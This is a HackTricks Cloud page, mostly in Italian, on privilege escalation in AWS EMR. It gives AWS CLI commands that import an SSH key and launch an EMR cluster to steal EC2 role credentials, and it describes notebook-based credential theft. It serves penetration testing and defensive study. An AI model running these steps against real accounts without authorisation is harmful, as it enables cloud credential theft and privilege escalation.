AWS - EMR Privesc
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
EMR
Maggiori informazioni su EMR in:
iam:PassRole, elasticmapreduce:RunJobFlow
Un attaccante con queste autorizzazioni può avviare un nuovo cluster EMR allegando EC2 roles e provare a rubare le sue credenziali.
Nota che per fare questo sarebbe necessario conoscere qualche ssh priv key importata nell’account o importarne una, e essere in grado di aprire la porta 22 sul nodo master (potresti essere in grado di farlo con gli attributi EmrManagedMasterSecurityGroup e/o ServiceAccessSecurityGroup all’interno di --ec2-attributes).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Note how an EMR role is specified in --service-role and a ec2 role is specified in --ec2-attributes inside InstanceProfile. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
Impatto potenziale: Privesc al ruolo di servizio EC2 specificato.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Con queste autorizzazioni un attaccante può andare nella AWS console, creare un Notebook e accedervi per rubare l’IAM Role.
Caution
Anche se si allega un IAM role all’istanza del notebook, nei miei test ho notato di essere stato in grado di rubare credenziali gestite da AWS e non le credenziali relative all’IAM role.
Impatto potenziale: Privesc al ruolo gestito AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Solo con questa autorizzazione un attaccante sarà in grado di accedere al Jupyter Notebook e rubare l’IAM role ad esso associato.
The URL of the notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
Caution
Anche se si allega un IAM role all’istanza del notebook, nei miei test ho notato di essere stato in grado di rubare credenziali gestite da AWS e non le credenziali relative all’IAM role
Impatto potenziale: Privesc al ruolo gestito AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

